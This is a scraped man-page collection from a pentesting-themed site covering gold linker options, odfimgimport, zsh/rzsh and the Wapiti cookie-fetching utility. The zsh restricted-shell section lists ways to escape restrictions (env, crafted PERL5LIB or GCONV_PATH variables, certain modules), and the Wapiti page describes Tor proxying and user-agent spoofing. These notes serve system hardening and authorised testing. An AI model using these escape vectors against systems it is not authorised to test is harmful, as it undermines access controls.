Generate unwind information for PLT (default)

–no-ld-generated-unwind-info
Do not generate unwind information for PLT

-L DIR, –library-path DIR
Add directory to search path

–long-plt
(ARM only) Generate long PLT entries

–no-long-plt
(ARM only) Do not generate long PLT entries (default)

-m EMULATION
Set GNU linker emulation; obsolete

–map-whole-files
Map whole files to memory (default on 64bit architectures)

–no-map-whole-files
Map relevant file parts to memory (default on 32bit architectures)

–merge-exidx-entries
(ARM only) Merge exidx entries in debuginfo (default)

–no-merge-exidx-entries
(ARM only) Do not merge exidx entries in debuginfo

–mmap-output-file
Map the output file for writing (default)

–no-mmap-output-file
Do not map the output file for writing

-M, –print-map
Write map file on standard output

-Map MAPFILENAME
Write map file

-n, –nmagic
Do not page align data

-N, –omagic
Do not page align data, do not make text readonly

–no-omagic
Page align data, make text readonly (default)

–no-keep-memory
Use less memory and more disk I/O (included only for compatibility with GNU ld)

–no-undefined
Report undefined symbols (even with –shared)

–noinhibit-exec
Create an output file even if errors occur

-nostdlib
Only search directories specified on the command line

-o FILE, –output FILE
Set output file name

–oformat [binary]
Set output format

-O LEVEL, -optimize LEVEL
Optimize output file size

–orphan-handling [place,discard,warn,error]
Orphan section handling

-p
Ignored for ARM compatibility

–package-metadata [=JSON]
Generate package metadata note

-pie
Create a position independent executable

-no-pie
Do not create a position independent executable (default)

–pic-executable
Create a position independent executable

–no-pic-executable
Do not create a position independent executable (default)

–pic-veneer
Force PIC sequences for ARM/Thumb interworking veneers

-no-pipeline-knowledge
(ARM only) Ignore for backward compatibility (default)

–plt-align [=P2ALIGN]
(PowerPC only) Align PLT call stubs to fit cache lines

–plt-localentry
(PowerPC64 only) Optimize calls to ELFv2 localentry:0 functions

–no-plt-localentry
(PowerPC64 only) Don’t optimize ELFv2 calls (default)

–plt-static-chain
(PowerPC64 only) PLT call stubs should load r11

–no-plt-static-chain
(PowerPC64 only) PLT call stubs should not load r11 (default)

–plt-thread-safe
(PowerPC64 only) PLT call stubs with load-load barrier

–no-plt-thread-safe
(PowerPC64 only) PLT call stubs without barrier (default)

–plugin PLUGIN
Load a plugin library

–plugin-opt OPTION
Pass an option to the plugin

–posix-fallocate
Use posix_fallocate to reserve space in the output file (default)

–no-posix-fallocate
Use fallocate or ftruncate to reserve space

–power10-stubs [=auto,no,yes]
(PowerPC64 only) stubs use power10 insns

–no-power10-stubs
(PowerPC64 only) stubs do not use power10 insns

–preread-archive-symbols
Preread archive symbols when multi-threaded

–print-gc-sections
List removed unused sections on stderr

–no-print-gc-sections
Do not list removed unused sections (default)

–print-icf-sections
List folded identical sections on stderr

–no-print-icf-sections
Do not list folded identical sections (default)

–print-output-format
Print default output format

–print-symbol-counts FILENAME
Print symbols defined and used for each input

–push-state
Save the state of flags related to input files

–pop-state
Restore the state of flags related to input files

-q, –emit-relocs
Generate relocations in output

-Qy
Ignored for SVR4 compatibility

-r, -relocatable
Generate relocatable output

–relax
Relax branches on certain targets

–no-relax
Do not relax branches (default)

–retain-symbols-file FILE
keep only symbols listed in this file

–rosegment
Put read-only non-executable sections in their own segment

–no-rosegment
Do not put read-only non-executable sections in their own segment (default)

–rosegment-gap OFFSET
Set offset between executable and read-only segments

-R DIR
Add DIR to runtime search path

-rpath DIR
Add DIR to runtime search path

–rpath-link DIR
Add DIR to link time shared library search path

-s, –strip-all
Strip all symbols

-S, –strip-debug
Strip debugging information

–strip-debug-non-line
Emit only debug line number information

–strip-debug-gdb
Strip debug symbols that are unused by gdb (at least versions <= 7.4)

–strip-lto-sections
Strip LTO intermediate code sections (default)

–section-ordering-file FILENAME
Layout sections in the order specified

–section-start SECTION=ADDRESS
Set address of section

–secure-plt
(PowerPC only) Use new-style PLT (default)

–sort-common [={ascending,descending}]
Sort common symbols by alignment

–sort-section [none,name]
Sort sections by name. ‘–no-text-reorder’ will override ‘–sort-section=name’ for .text

–spare-dynamic-tags COUNT
Dynamic tag slots to reserve (default 5)

–stub-group-size SIZE
(ARM, PowerPC only) The maximum distance from instructions in a group of sections to their stubs. Negative values mean stubs are always after the group. 1 means use default size

–stub-group-multi
(PowerPC only) Allow a group of stubs to serve multiple output sections (default)

–no-stub-group-multi
(PowerPC only) Each output section has its own stubs

–split-stack-adjust-size SIZE
Stack size when -fsplit-stack function calls non-split

-static
Do not link against shared libraries

–start-lib
Start a library

–end-lib
End a library

–stats
Print resource usage statistics

–sysroot DIR
Set target system root directory

-t, –trace
Print the name of each input file

–target1-abs
(ARM only) Force R_ARM_TARGET1 type to R_ARM_ABS32

–target1-rel
(ARM only) Force R_ARM_TARGET1 type to R_ARM_REL32

–target2 [rel, abs, got-rel
(ARM only) Set R_ARM_TARGET2 relocation type

–text-reorder
Enable text section reordering for GCC section names (default)

–no-text-reorder
Disable text section reordering for GCC section names

–threads
Run the linker multi-threaded

–no-threads
Do not run the linker multi-threaded (default)

–thread-count COUNT
Number of threads to use

–thread-count-initial COUNT
Number of threads to use in initial pass

–thread-count-middle COUNT Number of threads to use in middle pass

–thread-count-final COUNT
Number of threads to use in final pass

–tls-optimize
(PowerPC/64 only) Optimize GD/LD/IE code to IE/LE (default)

–no-tls-optimize
(PowerPC/64 only) Don’‘’t try to optimize TLS accesses

–tls-get-addr-optimize
(PowerPC/64 only) Use a special __tls_get_addr call (default)

–no-tls-get-addr-optimize
(PowerPC/64 only) Don’t use a special __tls_get_addr call

–toc-optimize
(PowerPC64 only) Optimize TOC code sequences (default)

–no-toc-optimize
(PowerPC64 only) Don’t optimize TOC code sequences

–toc-sort
(PowerPC64 only) Sort TOC and GOT sections (default)

–no-toc-sort
(PowerPC64 only) Don’t sort TOC and GOT sections

-T FILE, –script FILE
Read linker script

-Tbss ADDRESS
Set the address of the bss segment

-Tdata ADDRESS
Set the address of the data segment

-Ttext ADDRESS
Set the address of the text segment

-Ttext-segment ADDRESS
Set the address of the text segment

-Trodata-segment ADDRESS
Set the address of the rodata segment

-u SYMBOL, –undefined SYMBOL
Create undefined reference to SYMBOL

–unresolved-symbols ignore-all,report-all,ignore-in-object-files,ignore-in-shared-libs
How to handle unresolved symbols

–verbose
Alias for –debug=files

–version-script FILE
Read version script

–warn-common
Warn about duplicate common symbols

–no-warn-common
Do not warn about duplicate common symbols (default)

–warn-constructors
Ignored

–no-warn-constructors
Ignored

–warn-drop-version
Warn when discarding version information

–no-warn-drop-version
Do not warn when discarding version information (default)

–warn-execstack
Warn if the stack is executable

–no-warn-execstack
Do not warn if the stack is executable (default)

–no-warn-mismatch
Don’t warn about mismatched input files

–warn-multiple-gp
Ignored

–warn-search-mismatch
Warn when skipping an incompatible library (default)

–no-warn-search-mismatch
Don’t warn when skipping an incompatible library

–warn-shared-textrel
Warn if text segment is not shareable

–no-warn-shared-textrel
Do not warn if text segment is not shareable (default)

–warn-unresolved-symbols
Report unresolved symbols as warnings

–error-unresolved-symbols
Report unresolved symbols as errors (default)

-z buildd
Dummy z option

–no-wchar-size-warning
(ARM only) Do not warn about objects with incompatible wchar_t sizes

–weak-unresolved-symbols
Convert unresolved symbols to weak references

–whole-archive
Include all archive contents

–no-whole-archive
Include only needed archive contents (default)

–wrap SYMBOL
Use wrapper functions for SYMBOL

-x, –discard-all
Delete all local symbols

-X, –discard-locals
Delete all temporary local symbols

–discard-none
Keep all local symbols

-y SYMBOL, –trace-symbol SYMBOL
Trace references to symbol

–undefined-version
Allow unused version in script (default)

–no-undefined-version
Do not allow unused version in script

-Y PATH
Default search path for Solaris compatibility

-(, –start-group
Start a library search group

-), –end-group
End a library search group

-z combreloc
Sort dynamic relocs (default)

-z nocombreloc
Do not sort dynamic relocs

-z common-page-size=SIZE
Set common page size to SIZE

-z defs
Report undefined symbols (even with –shared)

-z execstack
Mark output as requiring executable stack

-z global
Make symbols in DSO available for subsequently loaded objects

-z initfirst
Mark DSO to be initialized first at runtime

-z interpose
Mark object to interpose all DSOs but executable

-z unique
Mark DSO to be loaded at most once, and only in the main namespace

-z nounique
Do not mark the DSO as one to be loaded only in the main namespace (default)

-z lazy
Mark object for lazy runtime binding (default)

-z loadfltr
Mark object requiring immediate process

-z max-page-size=SIZE
Set maximum page size to SIZE

-z muldefs
Allow multiple definitions of symbols

-z nocopyreloc
Do not create copy relocs

-z nodefaultlib
Mark object not to use default search paths

-z nodelete
Mark DSO non-deletable at runtime

-z nodlopen
Mark DSO not available to dlopen

-z nodump
Mark DSO not available to dldump

-z noexecstack
Mark output as not requiring executable stack

-z now
Mark object for immediate function binding

-z origin
Mark DSO to indicate that needs immediate $ORIGIN processing at runtime

-z relro
Where possible mark variables read-only after relocation (default)

-z norelro
Don’t mark variables read-only after relocation

-z stack-size=SIZE
Set PT_GNU_STACK segment p_memsz to SIZE

-z start-stop-visibility=[default,internal,hidden,protected]
ELF symbol visibility for synthesized __start_* and __stop_* symbols

-z text
Do not permit relocations in read-only segments

-z notext
Permit relocations in read-only segments (default)

-z textoff
Permit relocations in read-only segments (default)

-z text-unlikely-segment
Move .text.unlikely sections to a separate segment.

-z notext-unlikely-segment
Do not move .text.unlikely sections to a separate segment. (default)

-z keep-text-section-prefix Keep .text.hot, .text.startup, .text.exit and .text.unlikely as separate sections in the final binary.

-z nokeep-text-section-prefix
Merge all .text.* prefix sections. (default)

Run gold –help for a list of supported targets and emulations.

REPORTING BUGS

Report bugs to <https://sourceware.org/bugzilla/>

COPYRIGHT

Copyright © 2024 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or (at your option) a later version. This program has absolutely no warranty.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1923 - Linux cli command odfimgimport

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odfimgimport and provides detailed information about the command odfimgimport, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odfimgimport.

NAME 🖥️ odfimgimport 🖥️

Import external images

SYNOPSIS

odfimgimport [-q] [-o outputfile] [inputfile]

DESCRIPTION

If you copy and paste html from your webbrowser to your word processor, the pictures in the pasted text will still load the images from the Internet. This script will import all images into the OpenDocument file.

If you dont provide an input file, the program will read from stdin. If the program reads from stdin, it might not know how to resolve relative filenames. If you dont provide an output file, the program will import the pictures into the input file.

OPTIONS

-q

If there are images that cant be imported, odfimgimport will write how many has failed. The -q flag will prevent that.

-v

Verbose: Prints the URL of every image it tries to import and the result.

-o outputfile

The file to save the output to. “-” is stdout. Defaults to the input file.

EXAMPLE

odfimgimport -v -o newfile.odt oldfile.odt

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1924 - Linux cli command rzsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rzsh and provides detailed information about the command rzsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rzsh.

NAME 🖥️ rzsh 🖥️

the Z shell

OVERVIEW

Because zsh contains many features, the zsh manual has been split into a number of sections:

zsh Zsh overview (this section)
zshroadmap Informal introduction to the manual
zshmisc Anything not fitting into the other sections
zshexpn Zsh command and parameter expansion
zshparam Zsh parameters
zshoptions Zsh options
zshbuiltins Zsh built-in functions
zshzle Zsh command line editing
zshcompwid Zsh completion widgets
zshcompsys Zsh completion system
zshcompctl Zsh completion control
zshmodules Zsh loadable modules
zshcalsys Zsh built-in calendar functions
zshtcpsys Zsh built-in TCP functions
zshzftpsys Zsh built-in FTP client
zshcontrib Additional zsh functions and utilities
zshall Meta-man page containing all of the above

DESCRIPTION

Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and as a shell script command processor. Of the standard shells, zsh most closely resembles ksh but includes many enhancements. It does not provide compatibility with POSIX or other shells in its default operating mode: see the section `Compatibility’ below.

Zsh has command line editing, builtin spelling correction, programmable command completion, shell functions (with autoloading), a history mechanism, and a host of other features.

AUTHOR

Zsh was originally written by Paul Falstad. Zsh is now maintained by the members of the zsh-workers mailing list <[email protected]>. The development is currently coordinated by Peter Stephenson <[email protected]>. The coordinator can be contacted at <[email protected]>, but matters relating to the code should generally go to the mailing list.

AVAILABILITY

Zsh is available from the following HTTP and anonymous FTP site.

ftp://ftp.zsh.org/pub/
https://www.zsh.org/pub/

The up-to-date source code is available via Git from Sourceforge. See https://sourceforge.net/projects/zsh/ for details. A summary of instructions for the archive can be found at https://zsh.sourceforge.io/.

MAILING LISTS

Zsh has several mailing lists:

<[email protected]> Announcements about releases, major changes in the shell and the monthly posting of the Zsh FAQ. (moderated)

<[email protected]>
User discussions.

<[email protected]>
Hacking, development, bug reports and patches.

<[email protected]>
Private mailing list (the general public cannot subscribe to it) for discussing bug reports with security implications, i.e., potential vulnerabilities.

If you find a security problem in zsh itself, please mail this address.

To subscribe or unsubscribe, send mail to the associated administrative address for the mailing list.

<[email protected]>
<[email protected]>
<[email protected]>

<[email protected]>
<[email protected]>
<[email protected]>

YOU ONLY NEED TO JOIN ONE OF THE MAILING LISTS AS THEY ARE NESTED. All submissions to zsh-announce are automatically forwarded to zsh-users. All submissions to zsh-users are automatically forwarded to zsh-workers.

If you have problems subscribing/unsubscribing to any of the mailing lists, send mail to <[email protected]>.

The mailing lists are archived; the archives can be accessed via the administrative addresses listed above. There is also a hypertext archive available at https://www.zsh.org/mla/.

THE ZSH FAQ

Zsh has a list of Frequently Asked Questions (FAQ), maintained by Peter Stephenson <[email protected]>. It is regularly posted to the newsgroup comp.unix.shell and the zsh-announce mailing list. The latest version can be found at any of the Zsh FTP sites, or at https://www.zsh.org/FAQ/. The contact address for FAQ-related matters is <[email protected]>.

THE ZSH WEB PAGE

Zsh has a web page which is located at https://www.zsh.org/. The contact address for web-related matters is <[email protected]>.

THE ZSH USERGUIDE

A userguide is currently in preparation. It is intended to complement the manual, with explanations and hints on issues where the manual can be cabbalistic, hierographic, or downright mystifying (for example, the word `hierographic’ does not exist). It can be viewed in its current state at https://zsh.sourceforge.io/Guide/. At the time of writing, chapters dealing with startup files and their contents and the new completion system were essentially complete.

INVOCATION

The following flags are interpreted by the shell when invoked to determine where the shell will read commands from:

-c Take the first argument as a command to execute, rather than reading commands from a script or standard input. If any further arguments are given, the first one is assigned to $0, rather than being used as a positional parameter.

-i
Force shell to be interactive. It is still possible to specify a script to execute.

-s
Force shell to read commands from the standard input. If the -s flag is not present and an argument is given, the first argument is taken to be the pathname of a script to execute.

If there are any remaining arguments after option processing, and neither of the options -c or -s was supplied, the first argument is taken as the file name of a script containing shell commands to be executed. If the option PATH_SCRIPT is set, and the file name does not contain a directory path (i.e. there is no `/’ in the name), first the current directory and then the command path given by the variable PATH are searched for the script. If the option is not set or the file name contains a `/’ it is used directly.

After the first one or two arguments have been appropriated as described above, the remaining arguments are assigned to the positional parameters.

For further options, which are common to invocation and the set builtin, see zshoptions(1).

The long option `–emulate’ followed (in a separate word) by an emulation mode may be passed to the shell. The emulation modes are those described for the emulate builtin, see zshbuiltins(1). The `–emulate’ option must precede any other options (which might otherwise be overridden), but following options are honoured, so may be used to modify the requested emulation mode. Note that certain extra steps are taken to ensure a smooth emulation when this option is used compared with the emulate command within the shell: for example, variables that conflict with POSIX usage such as path are not defined within the shell.

Options may be specified by name using the -o option. -o acts like a single-letter option, but takes a following string as the option name. For example,

zsh -x -o shwordsplit scr

runs the script scr, setting the XTRACE option by the corresponding letter `-x’ and the SH_WORD_SPLIT option by name. Options may be turned off by name by using +o instead of -o. -o can be stacked up with preceding single-letter options, so for example `-xo shwordsplit’ or `-xoshwordsplit’ is equivalent to `-x -o shwordsplit'.

Options may also be specified by name in GNU long option style, `option-name’. When this is done, `-’ characters in the option name are permitted: they are translated into `_’, and thus ignored. So, for example, `zsh –sh-word-split’ invokes zsh with the SH_WORD_SPLIT option turned on. Like other option syntaxes, options can be turned off by replacing the initial `-’ with a `+’; thus `+-sh-word-split’ is equivalent to `–no-sh-word-split’. Unlike other option syntaxes, GNU-style long options cannot be stacked with any other options, so for example `-x-shwordsplit’ is an error, rather than being treated like `-x –shwordsplit'.

The special GNU-style option `–version’ is handled; it sends to standard output the shell’s version information, then exits successfully. `–help’ is also handled; it sends to standard output a list of options that can be used when invoking the shell, then exits successfully.

Option processing may be finished, allowing following arguments that start with `-’ or `+’ to be treated as normal arguments, in two ways. Firstly, a lone `-’ (or `+’) as an argument by itself ends option processing. Secondly, a special option `’ (or `+-’), which may be specified on its own (which is the standard POSIX usage) or may be stacked with preceding options (so `-x-’ is equivalent to `-x –’). Options are not permitted to be stacked after `’ (so `-x-f’ is an error), but note the GNU-style option form discussed above, where `–shwordsplit’ is permitted and does not end option processing.

Except when the sh/ksh emulation single-letter options are in effect, the option `-b’ (or `+b’) ends option processing. `-b’ is like `’, except that further single-letter options can be stacked after the `-b’ and will take effect as normal.

COMPATIBILITY

Zsh tries to emulate sh or ksh when it is invoked as sh or ksh respectively; more precisely, it looks at the first letter of the name by which it was invoked, excluding any initial `r’ (assumed to stand for `restricted’), and if that is `b’, `s’ or `k’ it will emulate sh or ksh. Furthermore, if invoked as su (which happens on certain systems when the shell is executed by the su command), the shell will try to find an alternative name from the SHELL environment variable and perform emulation based on that.

In sh and ksh compatibility modes the following parameters are not special and not initialized by the shell: ARGC, argv, cdpath, fignore, fpath, HISTCHARS, mailpath, MANPATH, manpath, path, prompt, PROMPT, PROMPT2, PROMPT3, PROMPT4, psvar, status.

The usual zsh startup/shutdown scripts are not executed. Login shells source /etc/profile followed by $HOME/.profile. If the ENV environment variable is set on invocation, $ENV is sourced after the profile scripts. The value of ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a pathname. Note that the PRIVILEGED option also affects the execution of startup files.

The following options are set if the shell is invoked as sh or ksh: NO_BAD_PATTERN, NO_BANG_HIST, NO_BG_NICE, NO_EQUALS, NO_FUNCTION_ARGZERO, GLOB_SUBST, NO_GLOBAL_EXPORT, NO_HUP, INTERACTIVE_COMMENTS, KSH_ARRAYS, NO_MULTIOS, NO_NOMATCH, NO_NOTIFY, POSIX_BUILTINS, NO_PROMPT_PERCENT, RM_STAR_SILENT, SH_FILE_EXPANSION, SH_GLOB, SH_OPTION_LETTERS, SH_WORD_SPLIT. Additionally the BSD_ECHO and IGNORE_BRACES options are set if zsh is invoked as sh. Also, the KSH_OPTION_PRINT, LOCAL_OPTIONS, PROMPT_BANG, PROMPT_SUBST and SINGLE_LINE_ZLE options are set if zsh is invoked as ksh.

Please note that, whilst reasonable efforts are taken to address incompatibilities when they arise, zsh does not guarantee complete emulation of other shells, nor POSIX compliance. For more information on the differences between zsh and other shells, please refer to chapter 2 of the shell FAQ, https://www.zsh.org/FAQ/.

RESTRICTED SHELL

When the basename of the command used to invoke zsh starts with the letter `r’ or the `-r’ command line option is supplied at invocation, the shell becomes restricted. Emulation mode is determined after stripping the letter `r’ from the invocation name. The following are disabled in restricted mode:

· changing directories with the cd builtin

·
changing or unsetting the EGID, EUID, GID, HISTFILE, HISTSIZE, IFS, LD_AOUT_LIBRARY_PATH, LD_AOUT_PRELOAD, LD_LIBRARY_PATH, LD_PRELOAD, MODULE_PATH, module_path, PATH, path, SHELL, UID and USERNAME parameters

·
specifying command names containing /

·
specifying command pathnames using hash

·
redirecting output to files

·
using the exec builtin command to replace the shell with another command

·
using jobs -Z to overwrite the shell process’ argument and environment space

·
using the ARGV0 parameter to override argv[0] for external commands

·
turning off restricted mode with set +r or unsetopt RESTRICTED

These restrictions are enforced after processing the startup files. The startup files should set up PATH to point to a directory of commands which can be safely invoked in the restricted environment. They may also add further restrictions by disabling selected builtins.

Restricted mode can also be activated any time by setting the RESTRICTED option. This immediately enables all the restrictions described above even if the shell still has not processed all startup files.

A shell Restricted Mode is an outdated way to restrict what users may do: modern systems have better, safer and more reliable ways to confine user actions, such as chroot jails, containers and zones.

A restricted shell is very difficult to implement safely. The feature may be removed in a future version of zsh.

It is important to realise that the restrictions only apply to the shell, not to the commands it runs (except for some shell builtins). While a restricted shell can only run the restricted list of commands accessible via the predefined `PATH’ variable, it does not prevent those commands from running any other command.

As an example, if `env’ is among the list of allowed commands, then it allows the user to run any command as `env’ is not a shell builtin command and can run arbitrary executables.

So when implementing a restricted shell framework it is important to be fully aware of what actions each of the allowed commands or features (which may be regarded as modules) can perform.

Many commands can have their behaviour affected by environment variables. Except for the few listed above, zsh does not restrict the setting of environment variables.

If a `perl’, `python’, `bash’, or other general purpose interpreted script it treated as a restricted command, the user can work around the restriction by setting specially crafted `PERL5LIB’, `PYTHONPATH’, `BASHENV’ (etc.) environment variables. On GNU systems, any command can be made to run arbitrary code when performing character set conversion (including zsh itself) by setting a `GCONV_PATH’ environment variable. Those are only a few examples.

Bear in mind that, contrary to some other shells, `readonly’ is not a security feature in zsh as it can be undone and so cannot be used to mitigate the above.

A restricted shell only works if the allowed commands are few and carefully written so as not to grant more access to users than intended. It is also important to restrict what zsh module the user may load as some of them, such as `zsh/system’, `zsh/mapfile’ and `zsh/files’, allow bypassing most of the restrictions.

STARTUP/SHUTDOWN FILES

Commands are first read from /etc/zsh/zshenv; this cannot be overridden. Subsequent behaviour is modified by the RCS and GLOBAL_RCS options; the former affects all startup files, while the second only affects global startup files (those shown here with an path starting with a /). If one of the options is unset at any point, any subsequent startup file(s) of the corresponding type will not be read. It is also possible for a file in $ZDOTDIR to re-enable GLOBAL_RCS. Both RCS and GLOBAL_RCS are set by default.

Commands are then read from $ZDOTDIR/.zshenv. If the shell is a login shell, commands are read from /etc/zsh/zprofile and then $ZDOTDIR/.zprofile. Then, if the shell is interactive, commands are read from /etc/zsh/zshrc and then $ZDOTDIR/.zshrc. Finally, if the shell is a login shell, /etc/zsh/zlogin and $ZDOTDIR/.zlogin are read.

When a login shell exits, the files $ZDOTDIR/.zlogout and then /etc/zsh/zlogout are read. This happens with either an explicit exit via the exit or logout commands, or an implicit exit by reading end-of-file from the terminal. However, if the shell terminates due to exec‘ing another process, the logout files are not read. These are also affected by the RCS and GLOBAL_RCS options. Note also that the RCS option affects the saving of history files, i.e. if RCS is unset when the shell exits, no history file will be saved.

If ZDOTDIR is unset, HOME is used instead. Files listed above as being in /etc may be in another directory, depending on the installation.

As /etc/zsh/zshenv is run for all instances of zsh, it is important that it be kept as small as possible. In particular, it is a good idea to put code that does not need to be run for every single shell behind a test of the form `if [[ -o rcs ]]; then …’ so that it will not be executed when zsh is invoked with the `-f’ option.

Any of these files may be pre-compiled with the zcompile builtin command (see zshbuiltins(1)). If a compiled file exists (named for the original file plus the .zwc extension) and it is newer than the original file, the compiled file will be used instead.

FILES

$ZDOTDIR/.zshenv
$ZDOTDIR/.zprofile
$ZDOTDIR/.zshrc
$ZDOTDIR/.zlogin
$ZDOTDIR/.zlogout
${TMPPREFIX}* (default is /tmp/zsh*)
/etc/zsh/zshenv
/etc/zsh/zprofile
/etc/zsh/zshrc
/etc/zsh/zlogin
/etc/zsh/zlogout (installation-specific - /etc is the default)

SEE ALSO

sh(1), csh(1), tcsh(1), rc(1), bash(1), ksh(1), zshall(1), zshbuiltins(1), zshcalsys(1), zshcompwid(1), zshcompsys(1), zshcompctl(1), zshcontrib(1), zshexpn(1), zshmisc(1), zshmodules(1), zshoptions(1), zshparam(1), zshroadmap(1), zshtcpsys(1), zshzftpsys(1), zshzle(1)

IEEE Standard for information Technology - Portable Operating System Interface (POSIX) - Part 2: Shell and Utilities, IEEE Inc, 1993, ISBN 1-55937-255-9.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1925 - Linux cli command wapiti-getcookie

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wapiti-getcookie and provides detailed information about the command wapiti-getcookie, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wapiti-getcookie.

NAME 🖥️ wapiti-getcookie 🖥️

getcookie** - A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.

SYNOPSIS

wapiti-getcookie -u URL -c COOKIE options

DESCRIPTION

wapiti-getcookie is a user-friendly interactive console utility that can be used to fill a web-form or fetch an URL and extract the cookies sent by the remote server.
Cookie information are stored in the JSON cookie file you have to specify with the -c option.
Those cookies can be loaded by Wapiti using the same -c option.

OPTIONS

  • -p, –proxy PROXY_URL
    The given URL will be used as a proxy for HTTP and HTTPS requests.
    This URL can have one of the following scheme : http, https, socks.
    To make Wapiti use a Tor listener you can use –proxy socks://127.0.0.1:9050/

  • –tor
    Make Wapiti use a Tor listener (same as –proxy socks://127.0.0.1:9050/)

  • -a, –auth-cred CREDENTIALS
    Set credentials to use for HTTP authentication on the target.
    Given value should be in the form login%password (% is used as a separator)

  • –auth-type TYPE
    Set the authentication mechanism to use. Valid choices are basic, digest, kerberos and ntlm.
    Kerberos and NTLM authentication may require you to install additional Python modules.

  • -H, –header HEADER
    Set a custom HTTM header to inject in every request sent by Wapiti. This option can be used several times.
    Value should be a standard HTTP header line (parameter and value separated with a : sign).

  • -A, –user-agent AGENT
    Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.
    But you may have to change it to bypass some restrictions so this option is here.

  • -d, –data DATA
    wapiti-getcookie will parse forms and ask your input for each field found.
    But you can also pass every parameter and value as a string directly through this option.
    Example: -d ’login=admin&password=letmein&submit=Login'

LICENSE

Wapiti is covered by the GNU General Public License (GPL), version 2. Please read the LICENSE file for more information.

COPYRIGHT

Copyright (c) 2006-2021 Nicolas Surribas.

AUTHORS

Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.

WWW

http://wapiti.sourceforge.io/

BUG REPORTS

If you find a bug in Wapiti please report it to https://github.com/wapiti-scanner/wapiti/issues

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1926 - Linux cli command ppmtoascii

